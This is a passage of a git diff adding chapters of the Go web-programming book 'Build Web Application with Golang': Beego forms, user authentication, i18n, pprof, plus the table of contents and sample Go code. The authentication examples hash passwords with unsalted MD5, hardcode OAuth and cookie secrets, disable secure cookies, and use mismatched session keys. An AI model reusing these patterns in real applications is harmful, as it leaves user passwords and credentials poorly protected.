a field corresponding to a form element, defined by using a struct tag corresponding to the element information and authentication information, as shown below: + +For developers, the general development process is very complex, and mostly are repeating the same work. Assuming a scenario project suddenly need to add a form data, then the local code of the entire process needs to be modified. We know that Go inside a struct is a common data structure, so beego the form struct used to process form information. + +First define a `struct` with fields corresponding to our form element, using `struct` tags to define corresponding element and authentication information, like so: + + type User struct{ + Username string `form:text,valid:required` + Nickname string `form:text,valid:required` + Age int `form:text,valid:required|numeric` + Email string `form:text,valid:required|valid_email` + Introduce string `form:textarea` + } + +After defining our `struct`, we can add this action in our controller: + + func (this *AddController) Get() { + this.Data["form"] = beego.Form(&User{}) + this.Layout = "admin/layout.html" + this.TplNames = "admin/add.tpl" + } + +The form is displayed in our template like so: + +

New Blog Post

+
+ {{.form.render()}} +
+ +Above, we've defined the entire first step of displaying a form mapped to a `struct`. The next step is for users to fill in their information and submit the form, after which the server will receive the data and verify it. Finally, the record will be inserted into the database. + + func (this *AddController) Post() { + var user User + form := this.GetInput(&user) + if !form.Validates() { + return + } + models.UserInsert(&user) + this.Ctx.Redirect(302, "/admin/index") + } + +## Form type + +The following table lists the corresponding form element information: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameparameterDescription
text + Notextbox input box
button + Nobutton
checkbox + Nomulti-select box
dropdown + Nodrop-down selection box
file + Nofile upload
hidden + Nohidden elements
password + Nopassword input box
radio + Nosingle box
textarea + Notext input box
+ + +## Form validation + +The following table lists some form validation rules native to Beego that can be used: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
rulesparameterDescriptionExample
required + NoIf the element is empty, it returns FALSE
matches + Yesif the form element's value with the corresponding form field parameter values are not equal, then return + FALSEmatches [form_item]
is_unique + Yesif the form element's value with the specified field in a table have duplicate data, it returns False( Translator's + Note: For example is_unique [User.Email], then the validation class will look for the User table in the + Email field there is no form elements with the same value, such as deposit repeat, it returns false, so + developers do not have to write another Callback verification code.)is_unique [table.field]
min_length + Yesform element values if the character length is less than the number defined parameters, it returns FALSEmin_length [6]
max_length + Yesif the form element's value is greater than the length of the character defined numeric argument, it returns + FALSEmax_length [12]
exact_length + Yesif the form element values and parameters defined character length number does not match, it returns FALSEexact_length [8]
greater_than + YesIf the form element values non- numeric types, or less than the value defined parameters, it returns FALSEgreater_than [8]
less_than + YesIf the form element values non- numeric types, or greater than the value defined parameters, it returns FALSEless_than [8]
alpha + NoIf the form element value contains characters other than letters besides, it returns FALSE
alpha_numeric + NoIf the form element values contained in addition to letters and other characters other than numbers, it returns + FALSE
alpha_dash + NoIf the form element value contains in addition to the letter/ number/ underline/ characters other than dash, + returns FALSE
numeric + NoIf the form element value contains characters other than numbers in addition, it returns FALSE
integer + Noexcept if the form element contains characters other than an integer, it returns FALSE
decimal + YesIf the form element type( non- decimal ) is not complete, it returns FALSE
is_natural + Novalue if the form element contains a number of other unnatural values ( other values excluding zero ), it + returns FALSE. Natural numbers like this: 0,1,2,3.... and so on.
is_natural_no_zero + Novalue if the form element contains a number of other unnatural values ( other values including zero ), it + returns FALSE. Nonzero natural numbers: 1,2,3..... and so on.
valid_email + NoIf the form element value contains invalid email address, it returns FALSE
valid_emails + Noform element values if any one value contains invalid email address( addresses separated by commas in English + ), it returns FALSE.
valid_ip + Noif the form element's value is not a valid IP address, it returns FALSE.
valid_base64 + Noif the form element's value contains the base64-encoded characters in addition to other than the characters, + returns FALSE.
+ +## Links + +- [Directory](preface.md) +- Previous section: [Sessions](14.2.md) +- Next section: [User validation](14.4.md) + diff --git a/de/14.4.md b/de/14.4.md new file mode 100644 index 00000000..2bc3cf84 --- /dev/null +++ b/de/14.4.md @@ -0,0 +1,265 @@ +# 14.4 User validation + +In the process of developping web applications, user authentication is a problem which developers frequently encounter. User login, registration and logout, among other operations, as well as general authentication can also divided into three parts: + +- HTTP Basic, and HTTP Digest Authentication +- Third Party Authentication Integration: QQ, micro-blogging, watercress, OPENID, Google, GitHub, Facebook and twitter, etc. +- Custom user login, registration, logout, are generally based on sessions and cookie authentication + +Beego does not natively provide support for any of these three things, however you can easily make use of existing third party open source libraries to implement them. The first two authentication solutions are on Beego's roadmap to eventually be integrated. + +## HTTP basic and digest authentication + +Both HTTP basic and digest authentication are relatively simple techniques commonly used by web applications. There are already many open source third-party libraries which support these two authentication methods, such as: + + github.com/abbot/go-http-auth + +The following code demonstrates how to use this library to implement authentication in a Beego application: + + package controllers + + import ( + "github.com/abbot/go-http-auth" + "github.com/astaxie/beego" + ) + + func Secret(user, realm string) string { + if user == "john" { + // password is "hello" + return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1" + } + return "" + } + + type MainController struct { + beego.Controller + } + + func (this *MainController) Prepare() { + a := auth.NewBasicAuthenticator("example.com", Secret) + if username := a.CheckAuth(this.Ctx.Request); username == "" { + a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request) + } + } + + func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" + } + +The above code takes advantage of Beego's `prepare()` function to perform authentication before allowing the normal flow of execution to proceed; as you can see, it's very simple to implement HTTP authentication. Digest authentication can be implemented in much the same way. + +## OAuth and OAuth 2 authentication + +OAuth and OAuth 2 are currently two of the most popular authentication methods. Fortunately, there are third-party libraries which implement this type of authentication such as the `go.auth` package available on github. + + github.com/bradrydzewski/go.auth + +The code below demonstrates how to use this library to implement OAuth authentication in Beego using our Github credentials: + +1. Let's add some routes + + beego.RegisterController("/auth/login", &controllers.GithubController{}) + beego.RegisterController("/mainpage", &controllers.PageController{}) + +2. Then we deal with the `GithubController` landing page: + + package controllers + + import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" + ) + + const ( + githubClientKey = "a0864ea791ce7e7bd0df" + githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca" + ) + + type GithubController struct { + beego.Controller + } + + func (this *GithubController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + githubHandler := auth.Github(githubClientKey, githubSecretKey) + + githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request) + } + +3. Handling after a successful landing page: + + package controllers + + import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" + "net/http" + "net/url" + ) + + type PageController struct { + beego.Controller + } + + func (this *PageController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + user, err := auth.GetUserCookie(this.Ctx.Request) + + //if no active user session then authorize user + if err != nil || user.Id() == "" { + http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther) + return + } + + //else, add the user to the URL and continue + this.Ctx.Request.URL.User = url.User(user.Id()) + this.Data["pic"] = user.Picture() + this.Data["id"] = user.Id() + this.Data["name"] = user.Name() + this.TplNames = "home.tpl" + } + +The whole process is as follows: + +first open your browser and enter the address: + +![](images/14.4.github.png?raw=true) + +Figure 14.4 shows the home page with a login button + +When clicking on the link, the following screen appears: + +![](images/14.4.github2.png?raw=true) + +Figure 14.5 displayed after clicking the login button to authenticate with your GitHub credentials + +After clicking "Authorize app", the following screen appears: + +![](images/14.4.github3.png?raw=true) + +Figure 14.6 authorized Github information gets displayed after the login page + +## Custom authentication + +Custom authentication is generally combined with session authentication; the following code is a Beego based open source blog which demonstrates this: + + //Login process + func (this *LoginController) Post() { + this.TplNames = "login.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + if userInfo.Password == newPass { + var users models.User + users.Last_logintime = now + models.UpdateUserInfo(users) + + //Set the session successful login + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + + this.Ctx.Redirect(302, "/") + } + } + + //Registration process + func (this *RegController) Post() { + this.TplNames = "reg.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + usererr := checkUsername(username) + fmt.Println(usererr) + if usererr == false { + this.Data["UsernameErr"] = "Username error, Please to again" + return + } + + passerr := checkPassword(password) + if passerr == false { + this.Data["PasswordErr"] = "Password error, Please to again" + return + } + + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + + if userInfo.Username == "" { + var users models.User + users.Username = username + users.Password = newPass + users.Created = now + users.Last_logintime = now + models.AddUser(users) + + //Set the session successful login + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + this.Ctx.Redirect(302, "/") + } else { + this.Data["UsernameErr"] = "User already exists" + } + + } + + func checkPassword(password string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok { + return false + } + return true + } + + func checkUsername(username string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok { + return false + } + return true + } + +Once you have implemented user login and registration, other modules can be added to determine whether the user has been logged in or not: + + func (this *AddBlogController) Prepare() { + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess_uid := sess.Get("userid") + sess_username := sess.Get("username") + if sess_uid == nil { + this.Ctx.Redirect(302, "/admin/login") + return + } + this.Data["Username"] = sess_username + } + +## Links + +- [Directory](preface.md) +- Previous section: [Form](14.3.md) +- Next section: [Multi-language support](14.5.md) + diff --git a/de/14.5.md b/de/14.5.md new file mode 100644 index 00000000..01d56a39 --- /dev/null +++ b/de/14.5.md @@ -0,0 +1,118 @@ +# 14.5 Multi-language support + +In the chapter where we introduced internationalization and localization, we developed the `go-i18n` library. In this section, we will see how this library is integrated into the Beego framework, and how it enables our Beego applications to support both internationalization and localization. + +## I18n integration + +Beego first sets some global variables: + + Translation i18n.IL + Lang string // set the language pack, zh, en + LangPath string // set the language pack location + +A multi-language initialization function is defined: + + func InitLang(){ + beego.Translation:=i18n.NewLocale() + beego.Translation.LoadPath(beego.LangPath) + beego.Translation.SetLocale(beego.Lang) + } + +In order to facilitate multi-language calls in the template package directly, we designed three functions for handling multi-language responses: + + beegoTplFuncMap["Trans"] = i18n.I18nT + beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate + beegoTplFuncMap["TransMoney"] = i18n.I18nMoney + + func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Translate(s) + } + + func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Time(s) + } + + func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Money(s) + } + +## Multi-language development + +1. Setting the language and location of the language pack, then initialize i18n objects: + + beego.Lang = "zh" + beego.LangPath = "views/lang" + beego.InitLang() + +2. Designing a multi-language package + + Above, we talked about how to initialize a multi-language package. Now, let's look at how to design one. Multi-language packages are typically JSON files, as you've already seen in Chapter 10. We must provide translation files for languages we wish to support on our `LangPath`, such as the following: + + # zh.json + + { + "zh": { + "submit": "提交", + "create": "创建" + } + } + + #en.json + + { + "en": { + "submit": "Submit", + "create": "Create" + } + } + +3. Using language packages + + We can call the controller to get the translated response in the desired language, like so:: + + func (this *MainController) Get() { + this.Data["create"] = beego.Translation.Translate("create") + this.TplNames = "index.tpl" + } + + We can also directly interpolate translated responses in our templates: + + // Direct Text translation + {{.create | Trans}} + + // Time to translate + {{.time | TransDate}} + + // Currency translation + {{.money | TransMoney}} + +## Links + +- [Directory](preface.md) +- Previous section: [User validation](14.4.md) +- Next section: [pprof](14.6.md) + diff --git a/de/14.6.md b/de/14.6.md new file mode 100644 index 00000000..9ce86123 --- /dev/null +++ b/de/14.6.md @@ -0,0 +1,110 @@ +# 14.6 pprof + +A great feature of Go's standard library is its code performance monitoring tools. These packages exist in two places: + + net/http/pprof + + runtime/pprof + +In fact, `net/http/pprof` simply exposes runtime profiling data from the `runtime/pprof` package on an HTTP port. + +## pprof support in Beego + +The Beego framework currently supports pprof, however it is not not turned on by default. If you need to test the performance of your application, (for instance by viewing the execution goroutine such information, in fact, Go's default package "net/http/pprof" already has this feature, and if Go manner in accordance with the default Web, you can use the default, but because beego repackaged ServHTTP function, so if you can not open the default includes this feature, so the need for internal reform beego support pprof. + +- First in our `beego.Run` function, we choose whether or not to automatically load the performance pack according to our configuration variable (in this case, PprofOn): + + if PprofOn { + BeeApp.RegisterController(`/debug/pprof`, &ProfController{}) + BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{}) + } + +- Designing `ProfController` + + package beego + + import ( + "net/http/pprof" + ) + + type ProfController struct { + Controller + } + + func (this *ProfController) Get() { + switch this.Ctx.Params[":pp"] { + default: + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "": + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "cmdline": + pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request) + case "profile": + pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request) + case "symbol": + pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request) + } + this.Ctx.ResponseWriter.WriteHeader(200) + } + + +## Getting started + +From the above, we can see that enabling pprof is as simple as setting the `PprofOn` configuration variable to `true`: + + beego.PprofOn = true + +You can then open the following URL in your browser to see the following interface: + +![](images/14.6.pprof.png?raw=true) + +Figure 14.7 current system goroutine, heap, thread information + +By clicking on a goroutine, we can see a lot of detailed information: + +![](images/14.6.pprof2.png?raw=true) + +Figure 14.8 shows the current goroutine details + +Of course, we can also get more details from the command line: + + go tool pprof http://localhost:8080/debug/pprof/profile + +This time, the program will begin profiling the application for a period of 30 seconds, during which time it will repeatedly refresh the page in the browser in an attempt to gather CPU usage and performance data. + + (pprof) top10 + + Total: 3 samples + + 1 33.3% 33.3% 1 33.3% MHeap_AllocLocked + + 1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors + + 1 33.3% 100.0% 1 33.3% runtime.sigprocmask + + 0 0.0% 100.0% 1 33.3% MCentral_Grow + + 0 0.0% 100.0% 2 66.7% main.Compile + + 0 0.0% 100.0% 2 66.7% main.compile + + 0 0.0% 100.0% 2 66.7% main.run + + 0 0.0% 100.0% 1 33.3% makeslice1 + + 0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP + + 0 0.0% 100.0% 2 66.7% net/http.(*conn).serve + + (pprof)web + +![](images/14.6.pprof3.png?raw=true) + +Figure 14.9 shows the execution flow of information + +## Links + +- [Directory](preface.md) +- Previous section: [Multi-language support](14.5.md) +- Next section: [Summary](14.7.md) + diff --git a/de/14.7.md b/de/14.7.md new file mode 100644 index 00000000..da47febe --- /dev/null +++ b/de/14.7.md @@ -0,0 +1,10 @@ +# 14.7 Summary + +This chapter illustrates some ways in which the Beego framework can be extended. We first looked at static file support, learning how Beego handles serving static files internally. We saw how this functionality allowed us to easily integrate static assets (such as Bootstrap's CSS files) for rapid and great looking website development. Next, we saw how to integrate `sessionManager` to painlessly facilitate user sessions in Beego. We then described form management and validation, leveraging Go's structs to reduce code repetition and for simplifying field validation. After that, we discussed user authentication which involved three main strategies: HTTP authentication (basic and digest), third party authentication, and custom authentication. We learned about some existing third party authentication packages that have already implemented these strategies, which are conveniently accommodated by Beego. The next section re-introduced language support in Beego; we saw how to integrate the `go-i18n` package and learned how to easily load multiple language packs into our applications as needed. Lastly, we discussed how to work with Go's `pprof` packages in Beego. The `pprof` package is used for performance profiling in Go, and Beego repackages it so it can serve the same purpose in Beego applications without much additional work. Through these six sections, we've extended Beego with many features, making it into a versatile framework suitable for the requirements of many web applications. Users have the freedom of extending the framework to suit their individual needs; this brief introduction to Beego simply offers a small taste of what can be done! + +## Links + +- [Directory](preface.md) +- Previous section: [pprof](14.6.md) +- Next chapter: [Appendix A References](ref.md) + diff --git a/de/README.md b/de/README.md new file mode 100644 index 00000000..7065496d --- /dev/null +++ b/de/README.md @@ -0,0 +1,37 @@ +***Build Web Application with Golang*** +====================================== + +### Purpose + +Because I'm interested in web application development, I used my free time to write this book as an open source version. It doesn't mean that I have a very good ability to build web applications; I would like to share what I've done with Go in building web applications. + +- For those of you who are working with PHP/Python/Ruby, you will learn how to build a web application with Go. +- For those of you who are working with C/C++, you will know how the web works. + +I believe the purpose of studying is sharing with others. The happiest thing in my life is sharing everything I've known with more people. + +# Donate + +AliPay: alipay + +English Donate:[donate](http://beego.me/donate) + +## Community +QQ群:386056972 + +BBS:[http://golanghome.com/](http://golanghome.com/) + +### Acknowledgments + + - [四月份平民 April Citizen](https://plus.google.com/110445767383269817959) (review code) + - [洪瑞琦 Hong Ruiqi](https://github.com/hongruiqi) (review code) + - [边 疆 BianJiang](https://github.com/border) (write the configurations about Vim and Emacs for Go development) + - [欧林猫 Oling Cat](https://github.com/OlingCat)(review code) + - [吴文磊 Wenlei Wu](mailto:spadesacn@gmail.com)(provide some pictures) + - [北极星 Polaris](https://github.com/polaris1119)(review whole book) + - [雨 痕 Rain Trail](https://github.com/qyuhen)(review chapter 2 and 3) + +### License + +This book is licensed under the [CC BY-SA 3.0 License](http://creativecommons.org/licenses/by-sa/3.0/), +the code is licensed under a [BSD 3-Clause License](), unless otherwise specified. diff --git a/de/SUMMARY.md b/de/SUMMARY.md new file mode 100644 index 00000000..625cd97a --- /dev/null +++ b/de/SUMMARY.md @@ -0,0 +1,97 @@ +* [Go Environment Configuration](01.0.md) + * [Installation](01.1.md) + * [$GOPATH and workspace](01.2.md) + * [Go commands](01.3.md) + * [Go development tools](01.4.md) + * [Summary](01.5.md) +* [Go basic knowledge](02.0.md) + * [Hello, Go](02.1.md) + * [Go foundation](02.2.md) + * [Control statements and functions](02.3.md) + * [struct](02.4.md) + * [Object-oriented](02.5.md) + * [interface](02.6.md) + * [Concurrency](02.7.md) + * [Summary](02.8.md) +* [Web foundation](03.0.md) + * [Web working principles](03.1.md) + * [Build a simple web server](03.2.md) + * [How Go works with web](03.3.md) + * [Get into http package](03.4.md) + * [Summary](03.5.md) +* [HTTP Form](04.0.md) + * [Process form inputs](04.1.md) + * [Validation of inputs](04.2.md) + * [Cross site scripting](04.3.md) + * [Duplicate submissions](04.4.md) + * [File upload](04.5.md) + * [Summary](04.6.md) +* [Database](05.0.md) + * [database/sql interface](05.1.md) + * [How to use MySQL](05.2.md) + * [How to use SQLite](05.3.md) + * [How to use PostgreSQL](05.4.md) + * [How to use beedb ORM](05.5.md) + * [NOSQL](05.6.md) + * [Summary](05.7.md) +* [Data storage and session](06.0.md) + * [Session and cookies](06.1.md) + * [How to use session in Go](06.2.md) + * [Session storage](06.3.md) + * [Prevent hijack of session](06.4.md) + * [Summary](06.5.md) +* [Text files](07.0.md) + * [XML](07.1.md) + * [JSON](07.2.md) + * [Regexp](07.3.md) + * [Templates](07.4.md) + * [Files](07.5.md) + * [Strings](07.6.md) + * [Summary](07.7.md) +* [Web services](08.0.md) + * [Sockets](08.1.md) + * [WebSocket](08.2.md) + * [REST](08.3.md) + * [RPC](08.4.md) + * [Summary](08.5.md) +* [Security and encryption](09.0.md) + * [CSRF attacks](09.1.md) + * [Filter inputs](09.2.md) + * [XSS attacks](09.3.md) + * [SQL injection](09.4.md) + * [Password storage](09.5.md) + * [Encrypt and decrypt data](09.6.md) + * [Summary](09.7.md) +* [Internationalization and localization](10.0.md) + * [Time zone](10.1.md) + * [Localized resources](10.2.md) + * [International sites](10.3.md) + * [Summary](10.4.md) +* [Error handling, debugging and testing](11.0.md) + * [Error handling](11.1.md) + * [Debugging by using GDB](11.2.md) + * [Write test cases](11.3.md) + * [Summary](11.4.md) +* [Deployment and maintenance](12.0.md) + * [Logs](12.1.md) + * [Errors and crashes](12.2.md) + * [Deployment](12.3.md) + * [Backup and recovery](12.4.md) + * [Summary](12.5.md) +* [Build a web framework](13.0.md) + * [Project program](13.1.md) + * [Customized routers](13.2.md) + * [Design controllers](13.3.md) + * [Logs and configurations](13.4.md) + * [Add, delete and update blogs](13.5.md) + * [Summary](13.6.md) +* [Develop web framework](14.0.md) + * [Static files](14.1.md) + * [Session](14.2.md) + * [Form](14.3.md) + * [User validation](14.4.md) + * [Multi-language support](14.5.md) + * [pprof](14.6.md) + * [Summary](14.7.md) +* [References](ref.md) +* [preface](preface.md) \ No newline at end of file diff --git a/de/code/readme.md b/de/code/readme.md new file mode 100644 index 00000000..f6d4510d --- /dev/null +++ b/de/code/readme.md @@ -0,0 +1,7 @@ +## Workspace setup. + +To avoid workspace issues and be able to develop from any folder within this path, +set the environment variable `GOPATH` to the path of this directory. + +More info: +- [GOPATH documentation](http://golang.org/doc/code.html#GOPATH) diff --git a/de/code/src/apps/ch.1.2/main.go b/de/code/src/apps/ch.1.2/main.go new file mode 100644 index 00000000..cc5b4e22 --- /dev/null +++ b/de/code/src/apps/ch.1.2/main.go @@ -0,0 +1,14 @@ +// Example code for Chapter 1.2 from "Build Web Application with Golang" +// Purpose: Run this file to check if your workspace is setup correctly. +// To run, navigate to the current directory in a console and type `go run main.go` +// If the text "Hello World" isn't shown, then setup your workspace again. +package main + +import ( + "fmt" + "mymath" +) + +func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) +} diff --git a/de/code/src/apps/ch.2.1/main.go b/de/code/src/apps/ch.2.1/main.go new file mode 100644 index 00000000..1aa5bae1 --- /dev/null +++ b/de/code/src/apps/ch.2.1/main.go @@ -0,0 +1,11 @@ +// Example code for Chapter ? from "Build Web Application with Golang" +// Purpose: Hello world example demonstrating UTF-8 support. +// To run in the console, type `go run main.go` +// You're missing language fonts, if you're seeing squares or question marks. +package main + +import "fmt" + +func main() { + fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界\n") +} diff --git a/de/code/src/apps/ch.2.2/main.go b/de/code/src/apps/ch.2.2/main.go new file mode 100644 index 00000000..5b54b9c5 --- /dev/null +++ b/de/code/src/apps/ch.2.2/main.go @@ -0,0 +1,277 @@ +// Example code for Chapter 2.2 from "Build Web Application with Golang" +// Purpose: Goes over the assignment and manipulation of basic data types. +package main + +import ( + "errors" + "fmt" +) + +// constants +const Pi = 3.1415926 + +// booleans default to `false` +var isActive bool // global variable +var enabled, disabled = true, false // omit type of variables + +// grouped definitions +const ( + i = 1e4 + MaxThread = 10 + prefix = "astaxie_" +) + +var ( + frenchHello string // basic form to define string + emptyString string = "" // define a string with empty string +) + +func show_multiple_assignments() { + fmt.Println("show_multiple_assignments()") + var v1 int = 42 + + // Define three variables with type "int", and initialize their values. + // vname1 is v1, vname2 is v2, vname3 is v3 + var v2, v3 int = 2, 3 + + // `:=` only works in functions + // `:=` is the short way of declaring variables without + // specifying the type and using the keyboard `var`. + vname1, vname2, vname3 := v1, v2, v3 + + // `_` disregards the returned value. + _, b := 34, 35 + + fmt.Printf("vname1 = %v, vname2 = %v, vname3 = %v\n", vname1, vname2, vname3) + fmt.Printf("v1 = %v, v2 = %v, v3 = %v\n", v1, v2, v3) + fmt.Println("b =", b) +} +func show_bool() { + fmt.Println("show_bool()") + var available bool // local variable + valid := false // Shorthand assignment + available = true // assign value to variable + + fmt.Printf("valid = %v, !valid = %v\n", valid, !valid) + fmt.Printf("available = %v\n", available) +} +func show_different_types() { + fmt.Println("show_different_types()") + var ( + unicodeChar rune + a int8 + b int16 + c int32 + d int64 + e byte + f uint8 + g int16 + h uint32 + i uint64 + ) + var cmplx complex64 = 5 + 5i + + fmt.Println("Default values for int types") + fmt.Println(unicodeChar, a, b, c, d, e, f, g, h, i) + + fmt.Printf("Value is: %v\n", cmplx) +} +func show_strings() { + fmt.Println("show_strings()") + no, yes, maybe := "no", "yes", "maybe" // brief statement + japaneseHello := "Ohaiyou" + frenchHello = "Bonjour" // basic form of assign values + + fmt.Println("Random strings") + fmt.Println(frenchHello, japaneseHello, no, yes, maybe) + + // The backtick, `, will not escape any character in a string + fmt.Println(`This + is on + multiple lines`) +} +func show_string_manipulation() { + fmt.Println("show_string_manipulation()") + var s string = "hello" + + //You can't do this with strings + //s[0] = 'c' + + s = "hello" + c := []byte(s) // convert string to []byte type + c[0] = 'c' + s2 := string(c) // convert back to string type + + m := " world" + a := s + m + + d := "c" + s[1:] // you cannot change string values by index, but you can get values instead. + fmt.Printf("%s\n", d) + + fmt.Printf("s = %s, c = %v\n", s, c) + fmt.Printf("s2 = %s\n", s2) + fmt.Printf("combined strings\na = %s, d = %s\n", a, d) +} +func show_errors() { + fmt.Println("show_errors()") + err := errors.New("Example error message\n") + if err != nil { + fmt.Print(err) + } +} +func show_iota() { + fmt.Println("show_iota()") + const ( + x = iota // x == 0 + y = iota // y == 1 + z = iota // z == 2 + w // If there is no expression after constants name, + // it uses the last expression, so here is saying w = iota implicitly. + // Therefore w == 3, and y and x both can omit "= iota" as well. + ) + + const v = iota // once iota meets keyword `const`, it resets to `0`, so v = 0. + + const ( + e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line. + ) + fmt.Printf("x = %v, y = %v, z = %v, w = %v\n", x, y, z, w) + fmt.Printf("v = %v\n", v) + fmt.Printf("e = %v, f = %v, g = %v\n", e, f, g) +} + +// Functions and variables starting with a capital letter are public to other packages. +// Everything else is private. +func This_is_public() {} +func this_is_private() {} + +func set_default_values() { + // default values for the types. + const ( + a int = 0 + b int8 = 0 + c int32 = 0 + d int64 = 0 + e uint = 0x0 + f rune = 0 // the actual type of rune is int32 + g byte = 0x0 // the actual type of byte is uint8 + h float32 = 0 // length is 4 byte + i float64 = 0 //length is 8 byte + j bool = false + k string = "" + ) +} +func show_arrays() { + fmt.Println("show_arrays()") + var arr [10]int // an array of type int + arr[0] = 42 // array is 0-based + arr[1] = 13 // assign value to element + + a := [3]int{1, 2, 3} // define a int array with 3 elements + + b := [10]int{1, 2, 3} + // define a int array with 10 elements, + // and first three are assigned, rest of them use default value 0. + + c := [...]int{4, 5, 6} // use `…` replace with number of length, Go will calculate it for you. + + // define a two-dimensional array with 2 elements, and each element has 4 elements. + doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} + + // You can write about declaration in a shorter way. + easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} + + fmt.Println("arr =", arr) + fmt.Printf("The first element is %d\n", arr[0]) // get element value, it returns 42 + fmt.Printf("The last element is %d\n", arr[9]) + //it returns default value of 10th element in this array, which is 0 in this case. + + fmt.Println("array a =", a) + fmt.Println("array b =", b) + fmt.Println("array c =", c) + + fmt.Println("array doubleArray =", doubleArray) + fmt.Println("array easyArray =", easyArray) +} +func show_slices() { + fmt.Println("show_slices()") + // define a slice with 10 elements which types are byte + var ar = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + + // define two slices with type []byte + var a, b []byte + + // a points to elements from 3rd to 5th in array ar. + a = ar[2:5] + // now a has elements ar[2]、ar[3] and ar[4] + + // b is another slice of array ar + b = ar[3:5] + // now b has elements ar[3] and ar[4] + + // define an array + var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + // define two slices + var aSlice, bSlice []byte + + // some convenient operations + aSlice = array[:3] // equals to aSlice = array[0:3] aSlice has elements a,b,c + aSlice = array[5:] // equals to aSlice = array[5:10] aSlice has elements f,g,h,i,j + aSlice = array[:] // equals to aSlice = array[0:10] aSlice has all elements + + // slice from slice + aSlice = array[3:7] // aSlice has elements d,e,f,g,len=4,cap=7 + bSlice = aSlice[1:3] // bSlice contains aSlice[1], aSlice[2], so it has elements e,f + bSlice = aSlice[:3] // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f + bSlice = aSlice[0:5] // slcie could be expanded in range of cap, now bSlice contains d,e,f,g,h + bSlice = aSlice[:] // bSlice has same elements as aSlice does, which are d,e,f,g + + fmt.Println("slice ar =", ar) + fmt.Println("slice a =", a) + fmt.Println("slice b =", b) + fmt.Println("array =", array) + fmt.Println("slice aSlice =", aSlice) + fmt.Println("slice bSlice =", bSlice) + fmt.Println("len(bSlice) =", len(bSlice)) +} +func show_map() { + fmt.Println("show_map()") + // use string as key type, int as value type, and you have to use `make` initialize it. + var numbers map[string]int + // another way to define map + numbers = make(map[string]int) + numbers["one"] = 1 // assign value by key + numbers["ten"] = 10 + numbers["three"] = 3 + + // Initialize a map + rating := map[string]float32{"C": 5, "Go": 4.5, "Python": 4.5, "C++": 2} + + fmt.Println("map numbers =", numbers) + fmt.Println("The third number is: ", 